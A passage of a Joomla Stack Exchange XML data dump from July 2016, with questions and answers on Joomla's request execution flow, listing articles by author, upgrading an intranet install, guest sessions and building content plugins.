Located&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to create this Q/A to work as a reference for all similar questions. Anyone who would like to contribute to make this a solid community wiki post is welcome.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2019-02-26T08:26:36.667" Title="What is the Joomla Execution Flow, after a request reach to index.php till the final output on the browser?" Tags="|joomla-3.x|php|joomla-api|cms|joomla-3.5|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17109" PostTypeId="2" ParentId="17108" CreationDate="2016-07-09T14:52:56.980" Score="15" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Answer's ToC&lt;/strong&gt;&lt;br&gt;&#xA;  1. Intro for beginners + beginners resources link&lt;br&gt;&#xA;  2. About Joomla Architecture&lt;br&gt;&#xA;  3. Joomla Execution Flow - How Joomla Works&lt;br&gt;&#xA;  4. Supplementary Resources&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h1&gt;1. Intro for Beginners&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Using Joomla for site building is rather simple, as it provides a friendly administration area. In most cases this is all that is needed to know for end-users and designers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of beginners with some knowledge on classic static html and css, have this same common question/expectation: How to edit their files/content, as they see it being rendered on their browser.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However &lt;strong&gt;the way Joomla works behind the scenes, is a lot more complicated&lt;/strong&gt; than editing an html file and requires advanced programming knowledge and experience to fully understand it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as a short answer: don't expect to open the &lt;strong&gt;FTP/File manager app&lt;/strong&gt; and find a file called : &lt;code&gt;myArticle.html&lt;/code&gt;, or &lt;code&gt;index.html&lt;/code&gt; that will let you edit it directly or change the appearance of the html elements of your page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start, I would suggest to learn first the &lt;strong&gt;basics of Joomla&lt;/strong&gt; and how to manage it from the backend. Slowly, slowly more knowledge and experienced will be gained. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Beginners resources&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A topic with helpful resources and tutorials can be found here:&lt;br&gt;&#xA;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/16529/joomla-beginner-tutorials-how-to-start-with-joomla/&quot;&gt;Joomla Beginner Tutorials - How to start with Joomla?&lt;/a&gt;&lt;/strong&gt;&#xA;&lt;hr&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;2. About Joomla Architecture&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla&lt;/strong&gt; is more than a &lt;strong&gt;modern CMS&lt;/strong&gt; built on PHP. It's an advanced web project incorporating multi-layers architecture, that includes:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;strong&gt;Joomla framework&lt;/strong&gt; -including 3rd party libraries that the framework relies on, and the plugins that extend the framework.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Separate Web Applications&lt;/strong&gt; like the administrator site, the front-end site, the installation.  &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;The extensions layer&lt;/strong&gt; (modules, components, templates) that extend the Joomla framework and the applications.   &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Joomla implements various advanced programming concepts, &lt;strong&gt;Object Oriented Programming&lt;/strong&gt;, &lt;strong&gt;MVC design pattern&lt;/strong&gt; and other common design patterns, a &lt;strong&gt;template system&lt;/strong&gt; etc. Also to not forget to mention that Joomla makes use of a &lt;strong&gt;database&lt;/strong&gt; where data are saved and retrieved when requested to be displayed on screen.&#xA;&lt;hr&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;3. Simple and Brief Description of Joomla's Execution Cycle - How Joomla Works&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;When you reach at the &lt;strong&gt;&lt;code&gt;index.php&lt;/code&gt;&lt;/strong&gt; of the a Joomla site (the front-end JSite application), a whole new &lt;strong&gt;execution cycle&lt;/strong&gt; starts, that includes: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Important includes of files that define the application's &lt;strong&gt;CONSTANTS&lt;/strong&gt; that are used widely across the application and its extensions.&lt;/li&gt;&#xA;&lt;li&gt;Loading the &lt;strong&gt;Joomla framework&lt;/strong&gt; and all its essential &lt;strong&gt;Classes&lt;/strong&gt; that are required for the application to work down the road, -the framework also checks if there is a &lt;strong&gt;configuration file&lt;/strong&gt; in place, or it should take us to the installation folder for making a new Joomla installation.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Category:Application&quot; rel=&quot;noreferrer&quot;&gt;Application&lt;/a&gt; object&lt;/strong&gt; is created and initialised and the session state is handled (new or existing session). &lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;configuration&lt;/strong&gt; file is loaded - that gives also access to the database.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Routing_implementation_details&quot; rel=&quot;noreferrer&quot;&gt;router&lt;/a&gt;&lt;/strong&gt; is called. The router is responsible for translating &lt;strong&gt;URLs&lt;/strong&gt; to an &lt;strong&gt;associative array of commands&lt;/strong&gt; and vice versa. These commands will be used as url parameters and sent to &lt;strong&gt;PHP's &lt;code&gt;$_GET&lt;/code&gt; SuperGlobal&lt;/strong&gt; to make up a complete url. The &lt;code&gt;option&lt;/code&gt; element of this array is the one that defines the component that should be executed.&lt;/li&gt;&#xA;&lt;li&gt;With the execution of the component, the &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Category:JDocument&quot; rel=&quot;noreferrer&quot;&gt;Document Object&lt;/a&gt;&lt;/strong&gt; is created. Document is stored in memory and holds data that will be returned later on the browser. The fact that is stored as buffer in memory allows to put and manipulate content in it at no particular order and from any locations. The selected &lt;strong&gt;template&lt;/strong&gt; has been stored in the configuration. Also, it worths noting that the only thing Joomla is doing is to run the component. What else should happen during this step is the job of the component.  &lt;/li&gt;&#xA;&lt;li&gt;Next comes the &lt;strong&gt;Page's Rendering&lt;/strong&gt;, where alongside the component data from previous step, modules and notification messages are also rendered and placed in their template positions.  &lt;/li&gt;&#xA;&lt;li&gt;Final step is to &lt;strong&gt;output the page to the browser&lt;/strong&gt;.  &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Important to note&lt;/strong&gt; that during various stages of the above execution cycle, there are &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;noreferrer&quot;&gt;Plugin Events&lt;/a&gt;&lt;/strong&gt; points that are called, which allow the various events to interfere and extend Joomla functionality.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A more detailed execution flow list, with the plugin events is documented here: &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Application_execution_order&quot; rel=&quot;noreferrer&quot;&gt;Joomla Application Execution Flow&lt;/a&gt;&lt;/strong&gt; &#xA;&lt;hr&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;4. Supplementary Resources:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Application_execution_order&quot; rel=&quot;noreferrer&quot;&gt;Joomla Application Execution Flow&lt;/a&gt;&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Component_Program_Flow&quot; rel=&quot;noreferrer&quot;&gt;Component Program Flow&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Archived:CMS_Architecture_in_1.5_and_1.6&quot; rel=&quot;noreferrer&quot;&gt;Joomla Architecture&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Absolute_Basics_of_How_a_Component_Functions&quot; rel=&quot;noreferrer&quot;&gt;Basics of Joomla Components&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Introduction&quot; rel=&quot;noreferrer&quot;&gt;Developing a MVC Component&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/3579/joomla-3-x-extension-development-tutorial-for-a-beginner-developer&quot;&gt;Joomla 3.x extension development tutorial for a beginner developer&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/12143/what-tools-can-i-use-to-help-assist-me-with-joomla-development&quot;&gt;What tools can I use to help assist me with Joomla development?&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-07-16T09:24:02.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17110" PostTypeId="1" AcceptedAnswerId="18068" CreationDate="2016-07-10T17:30:58.627" Score="6" ViewCount="2983" Body="&lt;p&gt;I am looking for the simplest way to create a menu item that lists all articles by a specific author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&#xA;Elad.&lt;/p&gt;&#xA;" OwnerUserId="8674" LastActivityDate="2018-11-11T11:37:48.460" Title="List articles by author" Tags="|joomla-3.x|articles|menu-item|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17111" PostTypeId="1" AcceptedAnswerId="17113" CreationDate="2016-07-10T18:02:58.280" Score="4" ViewCount="105" Body="&lt;p&gt;I am using Joomla as an internal portal for a large company (an intranet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it necessary to upgrade Joomla even though it is on a private server on a internal company network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because every works good right now with all of my installed extensions, I don't want to fix what is not broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the risks of not upgrading Joomla on a internal network, intranet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running Joomla 3.3.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any feedback is really welcomed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks everyone!&lt;/p&gt;&#xA;" OwnerUserId="7171" LastActivityDate="2016-07-14T06:53:55.183" Title="Necessary to Upgrade Joomla? When Joomla as internal Portal - Intranet" Tags="|upgrade|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17112" PostTypeId="2" ParentId="17110" CreationDate="2016-07-10T21:07:03.670" Score="3" Body="&lt;p&gt;This is not provided by default from Joomla. You could either use a module, create your own &lt;strong&gt;&lt;code&gt;model-view&lt;/code&gt; with a custom &lt;code&gt;menu item&lt;/code&gt;&lt;/strong&gt;, or use 3rd party content component or CCKs like k2.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Joomla Content - List by Author Options&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;1. Use module:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You could search in JED for modules that filter by user and use a module&lt;br&gt;&#xA;- either embed it inside an article&lt;br&gt;&#xA;- or to a module position at the content area of a blog menu item that you will set to display 0 articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could suggest &lt;a href=&quot;http://extensions.joomla.org/extension/raxo-all-mode-pro&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Raxo All-mode pro&lt;/strong&gt;&lt;/a&gt;, which has Author Filters and a lot of display options.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;2. Create your own View/Model for com_content:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;if you want to display articles using the com_content component, then you will have to create your own Model/View and create a menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you could easily base your menu item on the Featured MV. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a basic implementation would be like: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Duplicate in &lt;code&gt;components/com_content/&lt;/code&gt;&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. the &lt;code&gt;models/featured.php&lt;/code&gt; file&lt;br&gt;&#xA;b. the &lt;code&gt;views/featured/&lt;/code&gt; folder&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;strong&gt;Rename them to something like &lt;code&gt;author.php&lt;/code&gt; and &lt;code&gt;views/author/&lt;/code&gt; respectively.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Then open &lt;code&gt;models/author.php&lt;/code&gt;&lt;/strong&gt; and    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. edit &lt;strong&gt;Class Name&lt;/strong&gt; to: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ContentModelAuthor &#xA;{ //.... class code goes here....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;b. Remove any query that filters for the front-page (featured items). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;c. Add your &lt;code&gt;WHERE&lt;/code&gt; for the author ID, like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $query-&amp;gt;where('a.created_by ='.$params-&amp;gt;get('author', '')); &#xA;  // You should use the name of this param that you will define in the default.xml later.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;In &lt;code&gt;views/author&lt;/code&gt; folder:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. Edit in &lt;code&gt;view.html.php&lt;/code&gt; the &lt;strong&gt;Class Name&lt;/strong&gt; to:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;class ContentViewAuthor extends JViewLegacy &#xA;  { //.... class code goes here....}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Open the &lt;code&gt;views/author/tmpl/default.xml&lt;/code&gt; and&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. edit titles to something like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b. Add the author field, to select the User you want to filter on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Create a new menu item, select a user to test it.&#xA;These should be the basics, and most likely at this point you will have blog layouts that will be filtered by user.&lt;br&gt;&#xA;You can go further at your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Report back any issues, as this is a quick solution and not really tested. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, so far, the structural organization of the articles will still be the categories and not the user entity.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;3. Use 3rd party content component, like &lt;a href=&quot;http://extensions.joomla.org/extension/k2&quot; rel=&quot;nofollow noreferrer&quot;&gt;K2&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;K2 provides this feature to create authors' article pages.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-07-17T10:42:48.567" LastActivityDate="2017-07-17T10:42:48.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17113" PostTypeId="2" ParentId="17111" CreationDate="2016-07-11T01:46:43.917" Score="4" Body="&lt;p&gt;Good question!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer probably depends on what sort of information is stored on the intranet and whether the employees and contractors who have access to the intranet are competent and can be trusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that an employee or contractor could connect a compromised laptop to the internal network where malware on the laptop could compromise the intranet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How secure is the internal network? For example, do employees and contractors have remote access via a VPN or similar? Is temporary VPN access for contractors religiously revoked when their access is no longer required?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be inclined to back up the website and apply Joomla and third party extension updates on a regular basis, in the same way as if the website were on the Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The effort required is minimal and the risk of complications when applying Joomla and third party updates is low (especially if you are using well supported third party extensions from trusted developers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the unlikely event that an update breaks the website, it is fairly easy to restore a Joomla website from a recent backup using Akeeba Kickstart or similar.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-07-11T01:46:43.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17114" PostTypeId="2" ParentId="7579" CreationDate="2016-07-11T07:05:46.047" Score="1" Body="&lt;p&gt;Manage to solve it adding custon header on the error.php file on the administrator template... don't know if that's the best solution.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;error-&amp;gt;getCode() &amp;gt;= 400 &amp;amp;&amp;amp; $this-&amp;gt;error-&amp;gt;getCode() &amp;lt;= 500) {&#xA;    header(&quot;Status: {$this-&amp;gt;error-&amp;gt;getCode()}&quot;, true, $this-&amp;gt;error-&amp;gt;getCode());&#xA;} else {&#xA;    // Here is where MySQL Error would fit (e.g. mysql error 1064)&#xA;    header(&quot;Status: 500&quot;, true, 500);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3519" LastActivityDate="2016-07-11T07:05:46.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17115" PostTypeId="2" ParentId="17069" CreationDate="2016-07-11T07:33:45.270" Score="3" Body="&lt;p&gt;So the purpose of &lt;strong&gt;metadata.xml&lt;/strong&gt; is storing the data that need to be shared across layouts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;each &lt;em&gt;layout&lt;/em&gt;.xml inside of your view tmpl directory &lt;strong&gt;extends metadata.xml&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;So if you need to put &lt;strong&gt;some request fields in each layout&lt;/strong&gt; - you can &lt;strong&gt;simply add this fields to metadata.xml&lt;/strong&gt; and all the &lt;strong&gt;layouts will inherit them&lt;/strong&gt;.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For example file &lt;code&gt;/site/view/examples/metadata.xml&lt;/code&gt; can look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;metadata&amp;gt;&#xA;    &amp;lt;view&amp;gt;&#xA;        &amp;lt;options var=&quot;additional_request_var&quot;&amp;gt;&#xA;            &amp;lt;default name=&quot;COM_EXAMPLE&quot; msg=&quot;COM_EXAMPLE_DESC&quot;/&amp;gt;&#xA;            &amp;lt;option name=&quot;COM_EXAMPLE_EXT&quot; msg=&quot;COM_EXAMPLE_EXT_DESC&quot; value=&quot;additional_request_var_value&quot; /&amp;gt;&#xA;        &amp;lt;/options&amp;gt;&#xA;    &amp;lt;/view&amp;gt;&#xA;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More at &lt;a href=&quot;https://github.com/joomplace/JooYii&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomplace/JooYii&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="8261" LastEditDate="2017-01-08T17:23:14.350" LastActivityDate="2017-01-08T17:23:14.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17117" PostTypeId="1" CreationDate="2016-07-11T12:07:08.383" Score="3" ViewCount="2875" Body="&lt;p&gt;I want to disable session for all guests or public visitors which are being stored to joomla's session table in order to reduce hits and serverload. In fact, my website doesn't have front-end log-in nor user access which means I don't have to worry about CSRF nor other attacks since no authentication is required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried many different settings and optimization such as removing unused extensions (components/modules/plugins) and switching &lt;code&gt;$session_handler&lt;/code&gt; to &lt;code&gt;memcached&lt;/code&gt; or &lt;code&gt;none(file)&lt;/code&gt; but with no luck and the session table keeps growing especially when bots and crawlers are hijacking the traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found some hacky workarounds after googling, for e.g. &lt;a href=&quot;http://elmasrydev.blogspot.com/2014/03/how-to-disable-sessions-in-joomla-3x.html&quot; rel=&quot;nofollow&quot;&gt;Disabling Joomla Session on Guest/Public (Joomla 3.x)&#xA;&lt;/a&gt;.&#xA;However, those are unlikely the recommended approaches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many have also requested a feature to disable the behavior and the issue can be found on Joomla's Github page: see &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/8772&quot; rel=&quot;nofollow&quot;&gt;Please make possible to disable the default Joomla behavior of creating sessions for 'guest users' in the db #8772&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please guide me if there is any solution or not at all?&lt;/p&gt;&#xA;" OwnerUserId="5694" LastActivityDate="2017-01-01T20:22:33.210" Title="How to disable storing session for guest or public to Joomla table" Tags="|joomla-3.x|joomla-3.4|session|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17118" PostTypeId="1" AcceptedAnswerId="17124" CreationDate="2016-07-11T19:41:39.407" Score="1" ViewCount="63" Body="&lt;p&gt;I'm pretty new to plugin creation and I've already hit a snag. I'm trying to add fields to the admin-side article creation via plugin but nothing is showing up in $params signifying proper loading and a die('testing...') in the plugin methods does not fire. Was hoping to get a fresh pair of eyes on this to see what I'm doing incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;articlepublishemail/articlepublishemail.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die;&#xA;&#xA;class plgContentArticlepublishemail extends JPlugin&#xA;{&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    function __construct(&amp;amp; $subject, $config)&#xA;    {&#xA;        parent::__construct($subject,$config);&#xA;        $this-&amp;gt;loadLanguage();&#xA;    }&#xA;&#xA;    function onContentPrepareForm($form,$data)&#xA;    {&#xA;        ...&#xA;        switch($option)&#xA;        {&#xA;            case 'com_content' :&#xA;                if ($app-&amp;gt;isAdmin())&#xA;                {&#xA;                    JForm::addFormPath(__DIR__ . '/forms');&#xA;                    $form-&amp;gt;loadFile('content',false);&#xA;                }&#xA;                return true;&#xA;        }&#xA;        return true&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;articlepublishemail/articlepublishemail.xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;...&#xA;&amp;lt;files&amp;gt;&#xA;    &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;forms&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;filename plugin=&quot;articlepublishemail&quot;&amp;gt;articlepublishemail.php&amp;lt;/filename&amp;gt;&#xA;&amp;lt;/files&amp;gt;    &#xA;&amp;lt;languages&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.plg_content_articlepublishemail.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;      &#xA;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;articlepublishemail/forms/content.xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;&amp;lt;fields name=&quot;attribs&quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;articlepublishemail&quot; label=&quot;PLG_CONTENT_ARTICLEPUBLISHEMAIL_FIELDSET_LABEL&quot;&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;email_send&quot;&#xA;            type=&quot;radio&quot;&#xA;            default=&quot;0&quot;&#xA;            label=&quot;PLG_CONTENT_ARTICLEPUBLISHEMAIL_EMAIL_SEND_LABEL&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;0&quot;&amp;gt;JOFF&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;1&quot;&amp;gt;JON&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;email_sendto&quot;&#xA;            type=&quot;text&quot;&#xA;            label=&quot;PLG_CONTENT_ARTICLEPUBLISHEMAIL_EMAIL_SENDTO_LABEL&quot;&#xA;        /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've changed the names of fields and fieldsets several times trying to get something positive going and nothing. I don't entirely understand how the directory structure for a plugin is supposed to work either so that could be it...Either way, any help would be appreciated. &lt;/p&gt;&#xA;" OwnerUserId="7215" LastActivityDate="2016-07-12T13:01:50.923" Title="Content-based plugin not loading" Tags="|joomla-3.4|articles|administrator|custom-field|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17119" PostTypeId="1" CreationDate="2016-07-11T20:52:55.507" Score="1" ViewCount="191" Body="&lt;p&gt;anybody knows how to access to the content of a Joomla site through the API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to create a component which download the content of my Joomla site in html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8680" LastEditorUserId="8680" LastEditDate="2017-08-02T21:33:16.890" LastActivityDate="2017-12-04T07:08:36.477" Title="Generate static html from the content of the site with Joomla 3.x api" Tags="|joomla-3.x|joomla-api|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17120" PostTypeId="2" ParentId="17119" CreationDate="2016-07-11T23:48:22.273" Score="5" Body="&lt;p&gt;Any Joomla website, by default, will have it's content available in RSS format by just adding &lt;code&gt;format=feed&lt;/code&gt; to the end of the URL (mainly on category blog pages). It is relatively easy to parse RSS fees if you want the Joomla site's content available on other websites.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-11T23:48:22.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17123" PostTypeId="1" CreationDate="2016-07-12T08:55:53.973" Score="-1" ViewCount="79" Body="&lt;p&gt;I would like to insert an article inside my component, does someone have an example on how to do that?&#xA;I created Helloworld component , I need to show items of articles in site component , &lt;br&gt;&lt;b&gt;How to write code in model ,view, controller to show items?&lt;/b&gt;&lt;br&gt;&#xA;&lt;b&gt;Thank you&lt;/b&gt;&lt;/p&gt;&#xA;" OwnerUserId="7321" LastActivityDate="2016-07-12T18:20:17.187" Title="Joomla insert article in helloworld component" Tags="|joomla-3.x|joomla-api|joomla-3.5|custom-component|" AnswerCount="1" CommentCount="3" ClosedDate="2016-07-13T08:58:20.557" ContentLicense="CC BY-SA 3.0" />
  <row Id="17124" PostTypeId="2" ParentId="17118" CreationDate="2016-07-12T13:01:50.923" Score="1" Body="&lt;p&gt;Plugins, like other Joomla extensions, must be &lt;strong&gt;enabled&lt;/strong&gt; in order work and the code be executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please ensure you've enabled it, by going to the Plugin Manager via the Joomla backend.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-07-12T13:01:50.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
